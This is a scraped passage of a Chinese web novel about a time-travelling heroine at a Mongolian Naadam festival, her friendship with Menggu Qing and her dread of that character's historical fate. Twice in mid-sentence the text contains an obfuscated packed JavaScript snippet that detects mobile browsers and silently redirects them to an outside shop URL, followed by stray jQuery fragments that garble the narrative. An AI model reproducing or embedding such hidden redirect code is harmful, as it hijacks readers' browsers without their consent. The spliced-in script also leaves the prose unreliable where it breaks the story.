一大早,在紫鸢的帮助下,董浣浣换上一身粉色的骑装,在镜子里,左晃晃,右晃晃,很是满意。 紫鸢看着镜子里董浣浣春风得意的样子,悬着的一颗心才算真正的放了下来,还好还好,一切平安,不然她都不知道自己该怎么向老爷和夫人交代,更别提小姐身边的那位了,铁定会要了她们的小命。 以前小姐总是生病卧床的时候,她每天都在祈求小姐可以远离病魔,可以健健健康的生活在阳光下,如今她的愿望实现了,却又觉得躺在床上什么都做不了的小姐似乎可以活的更长久。 哎,她真是个贪心的人啊。 紫鸢给董浣浣整理妥当之后对董浣浣语重心长的交代道:“小姐,你以后不能这样莽撞了,你不为自己想想,也该为我和小柒的小命想想吧,万一你出啥事了,我该怎么向老爷夫人交代。” 小柒闻言,一脸严肃的在一旁拼命的点头,表示赞同。 董浣浣看了一眼她俩的表情,有些心虚又有些愧疚,仔细想想,这么久以来她好像一直在给她们两个带来麻烦和不幸。 于是转过身来,厚着脸皮张开双臂抱着她们两个道:“对不起,让你们担心了,我知道错了。” 害怕她俩不相信,董浣浣又举起三根手指,补充道:“我保证,绝对没有下次了。” 看到她这个样子,紫鸢不争气的心马上又软了,本来还想教训她几句的,现在是一句话也说不出来了,何况这些事情也不能全怪她们家小姐,小姐身边的那位的责任好像更大一些。 这些天,小姐遇到的桩桩件件的麻烦都与他脱不了干系。 可是即使是出了事,她也不敢拿那位试问啊,还要反过来担心他会不会因为她们照顾不周而迁怒于她们。 算了,想那么多干嘛,紫鸢无奈的摇摇头。 好在他们也快回京了,愿老天保佑,这段时间再也不要出什么幺蛾子了。 吃过早饭,一行人简单的收拾了一下就从未名谷出发,赶往那达慕大会现场。 一到大会现场,董浣浣就被眼前的景象给震撼住了。 天空一碧如洗,四处彩旗飘扬,远处一个一个的白色的蒙古包,猛一看像是发了面的馒头,胖乎乎的挨在一起很是壮观,近处人山人海的,每个人都换上了节日的盛装,笑的阳光灿烂的。 无论是在现代还是古代,董浣浣还是第一次来蒙古,更别说能够有幸参加如此大的盛会。 董浣浣东看看,西瞧瞧,就像是乡下进城来的小媳妇一样兴奋的不得了。 此刻的她终于理解了《红楼梦》里刘姥姥进大观园时候的心情了,拽着安齐修的胳膊,对着周围的环境,不时的指指点点来表达她的激动之情。 如果半年之前有人敢这样拉着安齐修,跟在安齐修身边的其他人估计眼珠子都会吓得掉出来,此刻站在后面的单良只剩下一脸习以为常的姨母笑,其他人则视若无睹状的把目光放到了别处。 逛了好大一会儿,董浣浣激动的情绪总算缓和了一点,很快的董浣浣就想到了一个严重的问题,前天孟古青只和她约定一起参加那达慕大会,可是现场这么多人,她该怎么找到她啊? 孟古青该不会是为了哄她才那样说的吧? 思其及,董浣浣开始自闭了。 安齐修见她一改之前的兴奋劲,收起了笑容,低着头不知是在想些什么,疑惑的张口问道:“怎么了?” 董浣浣叹了一口气,语气恹恹的答道:“我可能是被孟古青给骗了,你看,这么多人我该怎么找到她呢?” 安齐修闻言无奈的勾了勾唇角,手掌轻拍了一下她的小脑袋,然后手指向南方指了一下道:“你看。” 顺着安齐修手指的方向看过去,董浣浣果然在一个白底黄顶周围飘着彩带的高台模样的建筑物上看到了那一抹熟悉的红色身影。 董浣浣的脸色瞬间多云转晴,松开了牵着安齐修的手,嘴里大声的呼喊着孟古青的名字,然后冲着她猛挥手。 也许是因为她足够心诚,距离这么远的距离,隔着这么多人,在人声鼎沸的环境下,孟古青居然听到了她的呼喊并成功的定位了他们的位置,并冲着她招了招手,随后遣了布和前来邀他们过去。 在布和的引导下一群人往高台方向走去。 高台上。 孟古青作势要给双方做个介绍,就被孟章砚给打断了。 “安兄,好巧,没想到还能在这种情形下见面。” 孟章砚走向前一步,冲着安齐修作了一个揖后,如是说。 安齐修闻言,微微的抬了一下眉头看了孟章砚一眼,语气平淡的说道:“好久不见。” 孟古青闻言,疑惑的看了一眼一反常态的自家哥哥,然后开口道:“怎么,你们之前就认识了?” 孟章砚微转了一下头看了一眼自己妹妹,然后又看了一眼董浣浣,笑的一脸意味深长,却并未解答孟古青的疑问。 安齐修也没有要张口解释的意思。 气氛一时间有点尴尬。 董浣浣上次就隐约的感觉到了他们之间的气氛有点不对劲,这次这种感觉更为明显,只不过现在不是向他们提问的时机,于是硬着上前解释道:“对,前些天我们见过几面,孟公子还救过我们一次。” 孟古青闻言点头道:“原来如此,没想到你们之前就认识我哥了,这样看来,我们还真是有缘。” 孟章砚意味不明的接道:“嗯,真是有缘。” 董浣浣也是到现在才反应过来,孟章砚是孟古青的哥哥啊。 之前见到孟古青时太激动了,忘了这茬,这两天又浑浑噩噩的躺在床上,根本没来得及想,经孟古青这么一说,她才想起来那匹小红马以及那两个仆人之前也和孟章砚出现在一个画框里过。 原来那两个仆人口中的小姐就是孟古青啊。 真巧。 董浣浣不自觉的勾起了一抹笑容。 一阵寒暄之后,大家各自入座。 董浣浣和孟古青坐在了中间的位置,孟章砚坐在她们的右手边,安齐修坐在了她们的左手边,其他人依次找到座位坐下。 坐定。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815871|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 董浣浣和孟古青开始了闲聊,其他人则坐在一边静静的喝茶。 台上除了董浣浣和孟古青偶尔的交谈声,其他人皆是一言不发,一时间台上的静谧气氛与台下熙熙攘攘的喧嚣声形成了鲜明的对比。 董浣浣为了活跃气氛,望着茫茫的人群,向孟古青询问道:“你们每年都要举行这样的聚会吗?” 孟古青笑笑道:“对,这是我们蒙古人的传统,只不过今天因为一些原因比往年要推迟了一些。” 董浣浣点头表示了解,她从上到下打量了一下孟古青的穿着打扮,然后接着问道:“看你这身装扮,你今天也会参加比赛吗?” 今天孟古青穿了一身大红色的骑装,把头发尽数盘在了头顶挽成了一个鬏,类似于现代的丸子头,脸上未施粉黛,好一副雌雄难辨清清爽爽的美少年模样。 孟古青闻言下意识的抬头往上瞟了一眼,又想到了那天和董浣浣见面时自己的装扮,笑笑道:“这你就有所不知了,我平时都是这副打扮,你见到我那天才是特殊。” 孟古青说完看向一旁坐着的孟章砚,挑了挑眉,语气颇有些玩味的道:“是吧,哥?” 孟章砚闻言轻咳了一下,脸上难得的露出了一丝慌乱的神色,然后点了点头从嘴里吐出了一个:“嗯。”,遂又继续低头去品茶了。 董浣浣狐疑的目光从孟古青和孟章砚的脸上划过,她虽然不聪明但也知道这是人家家人之间的话里有话,人家既然不愿意挑明,她这个外人自然是不能开口问的,遂把话题又转回到了大会上:“那你今天也会参加比赛吗?” 孟古青轻拍了一下董浣浣的肩膀,站起身来,冲着她笑了笑,并没有说话,转头看向站在她后面的娜布其吩咐道:“去把红猎带过来吧。” 娜布其躬身回复道:“好的,格格。”,然后转身离开高台下去牵马去了。 等娜布其退下了之后,孟古青遂又坐下,一脸促狭的对着董浣浣说道:“待会你就知道了。” 坐在她们旁边不远处的孟章砚看到她们两个现在的模样,心里不免有些唏嘘。 如果她们以后可以一直这样,或许是最好的结果。 只不过一旦和这个男人扯上了关系她们未来的命运就不能掌握在她们自己的手里了。 孟章砚的眼神又落到了坐在董浣浣旁边的安齐修身上。 如果所有的努力都付诸东流,真到了那一天,这个身为天下主宰的男人可以护她们周全吗? 安齐修感受到了来自于孟章砚方向的视线,把目光从董浣浣的身上移开,敛起嘴角的微笑,冲着孟章砚的方向看了过去。 目光相交后,聪明人自会在对方的眼神中读到他们想要读到的信息。 只是一刹那,孟章砚就把目光重新放到了孟古青的身上,安齐修则收回目光好整以暇的整理了一下衣袖,端起旁边的杯子品起茶来。 不一会儿,娜布其领着一个就把红猎给带过来了。 娜布其走到高台上,在孟古青的耳边耳语了一阵。 话必,孟古青站起身来,对董浣浣说:“走,带你去看一件很有意思的事。” 47. 孟古青不是孟古青 湛蓝的天空下,人声鼎沸。 那匹名为“红猎”的骏马在宽阔的草地上肆意的驰骋。 两侧的围观人群兴奋异常,激动的拍着手,不时的发出尖叫声和口哨声。 马背上的那个女孩就像草原上的烈日一样,耀眼,明亮。 站在人群中的董浣浣看到这样的孟古青,脑子一瞬间清醒了。 在这一刻董浣浣终于清楚的认识到了,眼前的孟古青绝对不是她的孟古青。 虽然她们无论样貌还是名字都一样,但是除此之外她们的其他方面简直是南辕北辙,没有一点相同点。 眼前的孟古青可以在马背上轻松流畅的完成各种高难度的动作,是整个草原上,最明亮、最闪耀,最活力四射的存在,而她家孟古青是个能坐着绝对不站着,能躺着绝对不坐着整天抱着手机追小说的宅主。 花式骑马……额,也不知道它的专业叫法是啥,就暂且这么叫着吧,董浣浣想。 这种极限运动,不是一朝一夕就可以做到的,是需要长时间的和马儿相处磨合,还要刻苦的训练才能做到的,这不是她家孟古青的风格也不是她的能力。 以前躺在在宿舍看着小说喝着肥宅快乐水的时候,孟古青就曾说过,如果有一天她穿越了,她一定要穿到大户人家里,做个衣来伸手饭来张口,躺在几千平米的床上不下床,床前百十来号人等着伺候她的作威作福的大小姐。 拥有着如此志向的她亲爱的室友,即使是潜力大爆发,也不可能做到在短短的半年时间里如此熟练的驾驭马儿的。 眼前的总总迹象表明,这个孟古青绝对不是她的孟古青。 其实最初她们刚刚遇见的那一天,当孟古青坐在马上把皮鞭甩向小偷的那一刻,她就应该知道的,她们不是一个人。 她在这个世界里太没有安全感了,虽然在这里她从新拥有了朋友,家人和爱人,可是这里终究没有人能让她毫无保留的分享属于她的过去,没有过去的她就像是一叶浮萍,终究无法让她的内心安稳下来。 是她太过于想要抓住与前世的一点羁绊,来证明她曾经在那个世界存在过,才会在第一次见面时那样不管不顾的冲上前去认定她们就是一个人吧。 如今梦醒了,自然就可以清晰的区分出她们的差别来了。 董浣浣忍不住在心里念叨:孟古青,孟古青,如果你知道了三百多年前有个和你长的一模一样,名字也一样的人,生活的如此潇洒肆意,你会不会觉得很惊奇。 应该是惊奇的吧,毕竟你是那么一个因为一点小事就能大惊小怪半天的人。 只不过很可惜,这件事你永远都不可能知道了,这将是我一个人永远的秘密,不能与人分享,不能让人知晓。 而保守这个秘密的代价就是我可能永远都回不去了。 董浣浣的目光在对面的人群中流连着,他们每个人的脸上都洋溢着兴奋的光彩,身为看表演的一员,原本她也是应该应景的和其他人一样笑着,闹着,只是她的脸上再也泛不起一丝笑容,这种全世界都与你格格不入的感觉,真的很不好。 董浣浣突然有些害怕,也许在未来的某一天,就连她自己也会怀疑她是否真的在那个她曾经无比熟悉的时代存在过,她曾经的朋友,亲人是不是只是她脑袋里的一个幻象。 如果那一天真的来临了,她该怎么办,她会不会被自己逼疯,整天游离在真实与虚妄之中,抛不开,也放不下。 董浣浣讨厌这样反反复复下定不了决心与过去割裂的自己,可是她又像是身在异乡的游子,总会不由自主的想要回到自己的故乡。 可是她的故乡好远啊,远的她无论怎样努力也看不见,摸不着,抓不住,就连做梦也快梦不到了。 天空依然是那么蓝,周围的人还在声嘶力竭的叫喊,望着那个在马上笑的一脸灿烂的女孩,董浣浣的心情有些悲戚,再也没有看表演的兴致了。 董浣浣小心翼翼的拍了拍现在她旁边的紫鸢的肩头,待紫鸢转过头来看她后,用手围成喇叭状凑近紫鸢,在她的耳边说道:“这里太吵了,我有点不舒服,你们待在这里慢慢看,我出去透透气就回来。” 紫鸢听完,抬起头看了一眼董浣浣脸上的表情后,有些担心,顿时也没有了看节目的兴致了。把手贴在董浣浣的额头上测了测她的体温,然后一脸担忧的询问道:“小姐,你哪里不舒服,我们回家找大夫给看看吧。” 董浣浣轻手拿下了紫鸢放在她额头上的手,安抚道:“我身体不难受,就是觉得有点吵。” 紫鸢闻言附和道:“嗯,是有点吵,要不我们一起回家吧,”说完,一只手拉了一下旁边的小柒,就要和董浣浣一起出去。 自从小姐再一次晕倒之后,她每天心里都是七上八下的,小姐身体本来就不好,半年前才从鬼门关好不容易逃回来,这离开家半年又是被刺客追杀跌下悬崖,又是被野狼追赶掉落山洞,前两天竟然当街昏倒了,如今病刚好,确实不应该在这里吹风。更何况刚刚那位和孟章砚一起离开之前还特意吩咐她要寸步不离的好好看住她们家小姐,绝对不能让她家小姐出现任何意外。 现在小姐主动说要去透透气她自然也没有再围观下去的理由了,况且她本来对于骑马这项运动也没有多少兴趣,看与不看都无所谓。 只不过她旁边的小柒却不这么想。 小柒懂事归懂事,毕竟年纪还小,被紫鸢拉着离开,也没有反抗,只是眼睛一直舍不得离开马儿的方向。 董浣浣看到小柒这样,很是于心不忍,这么小的年纪吃了那么多苦,如今跟了她,她不应该剥夺小柒对这个世界好奇的权利,于是对紫鸢说道:“紫鸢,你陪着小柒待在这里看表演吧,我只是出去透透气,也不走远,过一会就回来,况且还有卫苑跟着我呢,放心吧。” 紫鸢闻言看了一眼小柒,又看了一眼站在小姐身后的卫苑,刚想要说话就被打断了。 不知道从哪里冒出来的安齐平看了一脸为难的紫鸢和低着头不说话的小柒说道:“怎么?自家主子的话都不听了?是出来太久了让你们忘记了自己的身份还是你们董家一向如此尊卑不分?” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815872|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小子已经好久没在她身边这么有存在感了,董浣浣被他此刻的神情和语气镇住了一时间竟然没有出言教训他。 还是紫鸢反应快,听到安齐平这样说,赶忙解释道:“安少爷,奴婢自是不会不听我们家小姐的吩咐,只不过刚才令兄吩咐过让我寸步不离的跟着我家小姐……” 剩下的话,紫鸢就没有说出口了,但也足够安齐平理解期中含义了。 安齐平听她这样说完,没接话,转而对旁边的刘全挥了一下手,刘全凑过头来静听吩咐。 最终的结果就是紫鸢和卫苑陪着她出来透气,而刘全则留下来陪着小柒在原地看表演。安齐平安排完事情之后,便不知所踪了。 董浣浣走出人群之后,越想越懊恼,刚刚怎么能被那个小屁孩给唬住了呢,她比他多吃的那几年饭都白吃了,还让她家紫鸢跟着受委屈,真是憋屈。 董浣浣有些愧疚的看了一眼扶着她的紫鸢说道:“对不起,刚才让你受委屈了。”,然后懊恼的敲了一下自己的头又道:“我刚才到底是怎么了,怎么能被一个小屁孩给唬住了呢,还有那小子凭什么教训我的人,我得回去找他理论去。” 董浣浣说完作势就要回到人堆里去找安齐平算账,却被紫鸢给制止了。 紫鸢拉着董浣浣的手,柔声的劝解道:“小姐对我怎样,我心里都清楚,不用向一个别人解释。” 更何况安齐平说的对,她确实要谨记她的身份。 在小姐一日不说出那件事,她在董鄂家的身份就一直是个奴婢。 奴婢当然要听主子的话,不然就是逾矩,不知尊卑,紫鸢有些失落的想。 听见紫鸢这么说,跟在董浣浣身后的卫苑几不可见的皱了一下眉头,但很快又恢复到面无表情的状态。 见紫鸢这么说,董浣浣便作罢了,她今天心情不好,还是不去招惹是非了,况且万一控制不好把自己的负能量借着帮紫鸢出气的由头,发泄给了别人,那多不道德。 这个不懂礼貌的小子还是哪天有空交给他哥来教育比较好。 董浣浣在紫鸢的搀扶下走了一会儿,腿就累的不行了,环顾了一下四周除了那一个个有主的蒙古包外,也没什么可以让人坐下来休憩的地方,她今天太累了实在没有再和人员打交道的兴致了,索性就一屁股坐在了草地上,对着紫鸢和卫苑挥手道:“太累了,你们也坐下来休息会。” 碍于卫苑就现在身后,紫鸢这时候说什么也不敢在数落她家小姐的不是了,只能硬着头皮在她家小姐旁边坐了下来。 卫苑则答道:“多谢姑娘美意,我习惯于站立,就不坐了。” 董浣浣一听也不强求他了。 风轻轻的从耳边穿过,走了一会儿路,董浣浣觉得自己的心情似乎好了不少。 阳光透过手指洒在人的脸上,好舒服。 不远处一个姑娘正缓缓的向他们的方向走来,直到走到董浣浣跟前站定,向董浣浣拱了拱手道:“请问是董浣浣小姐吗?” 待得到董浣浣的肯定答复后。又说道:“我家小姐有请。” 48. 她的身份 被她认识你,你却不认识她的陌生人请喝茶,而你却竟然傻乎乎的赴约了,是一种什么样的体验? 蒙古包里,董浣浣坐在桌前左手轻轻的在茶杯的边缘一圈一圈的摩挲着,余光看向对面正在聚精会神泡茶的的女孩,无聊的思考着。 面前的女孩大概十二三岁的样子,着一身白底紫色花纹的长袍,配同色系的帽饰品。 董浣浣曾经套过紫鸢的话,知道这个身体原主常年卧床,从来没有见过外人。 所以这位素未谋面的姑娘,到底是怎么认识她的呢,她找她来到底是为了干什么呢? 反正应该不是只是想请有缘人喝茶这么简单,董浣浣想。 还有她坐在这里看她泡茶都超过十分钟了吧,把她请到这里来,然后让她支开她身边的人,却一句话都不说,这是要闹哪样? 此刻董浣浣觉得自己简直就是个大傻瓜,人家说人家的,她怎么就按照人家的吩咐乖乖的照做了呢。 把卫苑和紫鸢留在外面,万一她要对她动手怎么办,电视剧里蒙古族的女儿大多数都是会些武艺的,如果她动起手来,她一个弱女子可是毫无招架之力的。 董浣浣余光撇了下对面的女孩,紧张的咽了一下唾液。 随后又开始鄙视自己的怂,都脑补些什么乱七八糟的东西,卫苑和紫鸢就现在门外,这个小姑娘能做啥。 何况人家要是想做啥,还会光明正大的遣人去请她吗。 又过了一会儿…… 对面的女孩还是慢悠悠的在泡茶,丝毫没有要开口说话的迹象。 真是太无聊了,董浣浣实在是忍不住了,开口打破沉默道:“那个,我想问一下……” 董浣浣的话还没有说完,对面的女孩食指放在嘴边,做了一个噤声的动作,董浣浣接下来的话只好咽了下去。 好吧,来都来了,接着等吧,我倒要看看你葫芦里到底卖的什么药,董浣浣想。 终于在漫长的沉默之后,对面的女孩开口说话了。 “听说,你是她的朋友?” 女孩把新沏好的茶递给董浣浣。 “朋友?”,董浣浣伸手接过茶杯,下意识的重复了一句。 董浣浣被这没头没尾的一句话给问住了,这个姑娘口中的她/他/它是谁啊? 最近她可是有了好多新朋友,安齐修一行,孟家兄妹,还有两只狼崽子,也不知道这位姑娘口中的他到底是哪一位。 按照我国电视剧的套路,一般被人这样请来喝茶,问你是不是她的朋友,下一句肯定就是让你离她远一点,顺便开始甩钱了,古代甩玉佩,簪子,金子,现代甩支票,只不过身为女主角的她现在还没弄清楚到底该距离谁远一点。 “那个……你说的他是指?”,董浣浣小心翼翼试探性的问道。 很快那个姑娘就给了解答。 “卓礼克图亲王,博尔济吉特·吴克善最疼爱的女儿——博尔济吉特·额尔德尼本巴,”她道,说完顿了一下,好像是怕董浣浣不明白又特意补充道:“或者你唤她孟古青。” 董浣浣闻言松了口气,还好是孟古青,要换做是安齐修,谈到最后她们两个可能会向狗血电视剧的走向发展,以甩巴掌抓头发结局,在这个世界里,紫鸢会嫁人,小柒也会嫁人,谁都有可能会离开她,就连阿玛都有可能先她而去,在这个世界安齐修是底线,让她离开他绝对不行。 “你是说孟古青啊”,董浣浣舒了口气重复道。 见对面人没有答话,董浣浣又接着说道:“对,她是我的朋友,敢问,小姐有何赐教。” 对面的女孩闻言嗤笑了一下,摇摇头没有说话,转而抬手拿起桌上的茶杯好整以暇的低头喝了一口水。 放下手中的杯子,女孩浅笑盈盈的看向董浣浣道:“指教谈不上,就只是想见见你而已,你不必这么紧张。” 董浣浣心想,我一点儿都不紧张,你从哪里看出来我紧张了,真是个奇怪的的女孩。 嘴上却只言简意赅的说道:“我不紧张。” 女孩笑笑的看向她:“那就好。”,然后又接着说道:“真好,她又有了新的朋友。” 董浣浣:“你也是孟古青的朋友吧,那个,方便告诉我一下你的名字吗?” 女孩听到董浣浣的问话,端起手中的茶杯放在鼻尖嗅了嗅,目光看向董浣浣,道:“在你之前这十几年,她只有我一个朋友,当然我也只有她一个朋友。” “啊,你是说,你之前是她唯一的朋友?” 董浣浣有点惊讶,她这两天接触下来的孟古青是个热情明亮,乐于助人,心地善良的人,这样的人按理说应该是朋友满天下的,怎么可能只有一个朋友,这很不科学。 “唯一”,女孩重复了一下,又说道:“我喜欢这个词。” “以后你就是她唯一的朋友了。” 刚刚喝了口茶的董浣浣闻言差点把水从嘴里喷出来。 不是吧,因为她的介入,孟古青唯一的朋友就要和她分道扬镳了,那她的罪过也太大了。 她今天算是长见识了,朋友间的占有欲也可以这么恐怖的,不是唯一就要绝交,这也太吓人了。 “别,别,别”,董浣浣激动的摆着手连说了三声“别”,然后接着说道:“你们可不能因为我伤了你们这么宝贵的友情,如果你觉得我和孟古青成为朋友会影响到你们的感情,我退出,我马上就要回京城了,以后绝对不会联系她的。” 董浣浣说完怕她不信站起来伸出三根手指冲着天,保证道:“你要是不信,我可以发誓……” 女孩站起身来,帮董浣浣把她的三根手指收回来,拍了一下她的肩膀。让她不要激动,先坐下来。 “我和她绝交只是早晚的事情,不是你,也会是别人,你只是恰好出现在了合适的时间成为了我的借口而已。” “她那么好的人,你为什么非要和她绝交呢?”,董浣浣问。 “她是个好人,是我最好的朋友,这些我比谁都清楚,只不过不割舍与她的过去,有些事情就会一直被提及,伤口就永远也没办法被抚平。” 董 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她这嘴也真是欠,本来是想转移话题给人家一个台阶下的,结果一个不小心又给人家递了个高梯,让人家更下不来台了。 董浣浣真想敲开自己的脑袋看看里面装的是不是都是草。 女孩看到董浣浣如此懊恼的样子,弯了弯唇角。 还真是个心地善良的姑娘。 孟古青以后能有这样的朋友相伴,她也就放心了。 两人又聊了一会儿,直到门外传来紫鸢的催促声,董浣浣这才起身离开。 走出帐篷好远的董浣浣,脑子里突然灵光一闪,脚步停了下来。 她好像后知后觉的发现了一件事。 博尔济吉特·吴克善,那不是历史上有名的孝庄皇后的哥哥嘛,这段历史她学过的。 孟古青既然是他的女儿,那她就是草原上最尊贵的格格。 怪不得蒙古勇士济济,却让她一个女孩子担任那达慕大会开场的表演嘉宾。 按照历史记载,以后她的身份还会更尊贵,她会成为大清的皇后,一国之母。 董浣浣想,她这回是如愿的抱上了金大腿了,只不过,这条大腿也太不靠谱了一些。 历史上的孟古青是顺治帝的第一任皇后,传说她奢侈善妒,常常与顺治帝发生冲突。 是一手好牌打的稀巴烂的典型代表,成为皇后之后不久就和她们董鄂家的那位很出名的妃子争宠,最后被打入冷宫,得到了一个凄惨下场。 现在的她还没有和顺治结婚,还是草原上最尊贵,无忧无虑的格格。 悲剧还没有发生,一切还没有开始。 掌握了孟古青人生剧本的董浣浣有点为难,孟古青是她的朋友,眼睁睁的看着她走向那不堪的结局,她做不到。但是擅改历史,她本人可能会遭天谴的,更何况未来好多人的命运也有可能因此改变。 她到底该怎么办,董浣浣陷入了深深的纠结中…… 49. 走近历史 室内。 安齐修坐在桌前低着头写字。 “洪先生传信来说,摄政王好似已经掌握了我们的行动计划,近日已经在宫内安插了大量人手,只待您回宫,意欲先发制人挟制于您,洪先生还说按照原计划动手恐有不妥,年底摄政王会出猎古北口外,洪先生以为换成那个时机动手更为妥帖一些。” 卫苑拱着手向安齐修禀报道。 安齐修闻言没有说话,手里的笔未受分毫影响在宣纸上行走,直至写完“天下之行,大道为公”八个大字,才道:“甚好。” “给宫里传话,朕推迟一个月回去。” 卫苑闻言,心中有些顾忌。 主子在这样攸关苍生的大事上的决策居然还是听洪先生的,明明之前都已经定好的计划,因为洪先生的一句话就改变了计划,这个前朝旧臣对主子的影响力未免也太大了一些,如若以后主子亲政了还是如此,势必会引起八旗子弟的不满,朝堂局势如何安稳。 安齐修抬头看了一下卫苑的脸色就知道了他心中所想:“你似乎对朕的决定有些异议?” 卫苑拱手道:“微臣不敢。” 安齐修走到卫苑身旁停住,“这件事不能操之过急,既然他已经知道了我们要对他有所行动,他自然会有所防范,朕现在回去只会引起他的警觉,还会被动的受制于他,对我们而言并没有多少好处,事情处理的越缓,对我们而言越有利,洪先生对这件事给予的建议符合形势,我自然会采纳,这和满人、汉人无任何关系,你明白吗?” 卫苑听安齐修这样说完之后点了点头道:“微臣明白了。” 安齐修待他说完,问道:“浣儿的事情查的怎么样了?” 卫苑道:“回主子的话,根据密报,可以确认浣主子和孟古青格格之前完全没有交集,浣主子这些年一直都是在家里安心静养,孟古青格格也从未离开过蒙古。” 安齐修闻言站起身来,低着头在屋子的中央来回踱了几步。 虽说他相信浣儿不会骗他,但是那天她给出的解释也太离奇了些,他不放心才让卫苑又去核实了一遍,毕竟她太单纯了,容易受人蛊惑。 如今得到的消息还是和他当初所了解的一致,难道真的如她所言,只是在梦里见过孟古青? 安齐修抬头看向卫苑:“她现在在哪儿,我有些事情想要问她。” 卫苑:“主子,浣主子刚刚出门去找孟古青格格去了。” 安齐修微微的皱了一下眉头,声音低沉的说道:“又去找她了吗?” 卫苑拱手点头称是。 “这是第几天了?” 卫苑:“回主子的话,五天了,浣主子每天都是早去晚归去找孟古青格格聊天。” 安齐修闻言冷声道:“正好这一个月闲来无事,看样子,是时候管一管了她了,让她的目光停留在我的身上。” 卫苑闻言拱手道:“微臣现在就去把浣主子接回来。” 安齐修摆摆手制止了他:“罢了,不急于一时。去把博果尔叫来,今日我们先去阚先明那里,把余下的事情谈妥。” 卫苑点头道:“是,微臣现在就去安排。” 董浣浣这几天很苦恼,看着不远处练习鞭子的孟古青,她就更加难受了。 这个人怎么可以和孟古青长得这么像呢? 可是明明是一张脸,怎么又会那样的不同呢? 这几天的和孟古青的接触下来,董浣浣觉得这个女孩是个豪爽,热情,乐于助人,心直口快的姑娘,怎么看也不像是历史课本里写的那样奢侈,善妒,不能容人的模样。 这个姑娘现在毫无保留的当她是自己人和她做朋友,而她呢,明明知道她之后的结局,却瞻前顾后的什么也不敢和她说。 董浣浣这几天把她知道的那点关于顺治废后的历史,仔仔细细的回忆了无数遍,也没想到破解之法,毕竟她是历史记载里实实在在存在过的关键人物,牵一发而动全身,不到万不得已是绝对不能泄露天机影响历史走向的。 董浣浣无声的叹了口气,到底该如何是好? 孟古青一套鞭子练完,走到董浣浣身边就看到她一直愁眉不展的望着她刚才练武的地方出神。 孟古青在她的眼前挥了挥手道:“我刚才的那一套鞭法这么难看的吗,让你这样愁眉不展的。” 董浣浣回过神来,看到眼前的孟古青正在看着她笑,赶忙挤出一个笑容道:“没有,没有,我只是最近遇到点事儿,心里有些烦闷而已。” 孟古青听到董浣浣这样说,笑道:“原来是这样啊,有什么事让你不开心的,说出来给我听听,我帮你解决了。” 手指向站在董浣浣旁边的紫鸢吩咐道:“扶着你们家小姐,我们去大帐里休息一下。” 紫鸢闻言赶忙挽起董浣浣的胳膊,随孟古青一道进了帐篷。 “原来是这样啊,这都半年多了,你竟然都不知道他在家里是否婚配,就和他私定终身了,不愧是当街强抢我做朋友的人。” 董浣浣闻言清咳了一声:她当然知道安齐修尚未婚配,只不过是想抛砖引玉,引出关于婚姻的话茬而已,怎么让孟古青这么一形容,她才发现她在别人眼中原来是这么虎的一个人。 孟古青看她这样又接着说道:“那你不妨直接问他啊,没有的话就和他接着好,有的话就直接把他甩了,我们草原的男儿各个都顶天立地的,姐姐帮你找比他更好的。” 依照这几天董浣浣对孟古青的了解,帮她重新物色男朋友这件事孟古青还真做的出来,她可不想帮人不成反坑己,于是有些着急的想要辩解:“那倒不用……” 孟古青看到她这样着急的样子“噗嗤”一下笑出声来,站起来拍了拍董浣浣的肩膀道:“放心吧,姐姐我不是王母娘娘,是不会拆散你和你家情哥哥的。” 董浣浣这才反应过来孟古青在逗她,整个脸都不受控制的红了起来。耳朵也火辣辣的,佯怒求饶道:“我知道了,我以后唤你姐姐可以了吧,拜托,能不能别打趣我啦。” 这几天两个人的“姐姐”之争终于以董浣浣的妥协,剧终了。 孟古青伸出手保证道:“既然你都叫我姐姐了,我保证,以后再也不拿你和你家情哥哥开玩笑了。” 又是一阵 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娜布其接着解释道:“对,我们家小姐每年生辰都要亲手酿制一罐马奶酒,这罐是去年酿制的,还没打开喝过,就连老爷生辰,我们家小姐都没舍得打开。” 董浣浣一听,搓了搓手捧场道:“我这么荣幸呀,那我可得好好尝尝孟古青的手艺了。” 站在董浣浣旁边的紫鸢听到董浣浣这样说,有些为难的躬下身来提醒董浣浣道:“小姐你忘了吗,前两天大夫刚说过,最近你不宜饮酒。” 还在倒酒的孟古青听到紫鸢这样说,停住了倒酒的动作看向董浣浣问道:“你不能喝酒?” 董浣浣连忙摆摆手道:“喝一点没关系的,我还从来没喝过马奶酒呢。” 孟古青闻言,把董浣浣的酒杯斟满,又拿过自己的酒杯开始倒酒:“来到这科尔沁,不喝点马奶酒怎么行。”,然后冲着大帐外面喊道:“把烤好的羊端上来吧。” 待仆人把羊收拾好出去之后,孟古青转头看向紫鸢和娜布其说道:“你们也坐下来,喝点。” 紫鸢还想说些什么,却看见董浣浣冲着她猛眨眼,只能作罢,悻悻的坐在了董浣浣的旁边。 酒过三巡。 本来说只喝一点点的董浣浣,已经喝的说话都不利索了。 董浣浣:“所以说……你们为什么会要分道扬镳啊?” 孟古青的酒量很好,可是奈何她比董浣浣喝的要多得多,此刻头脑也有点懵懵的,听到董浣浣的问话,她大手一挥道:“谁说我们分道扬镳了?” 董浣浣:“她说的呀,那达慕大会那天,她来找我,和我说的呀。” 孟古青闻言愣了一下,自言自语道:“原来那天她来了呀。”接着便咯咯的笑了起来: 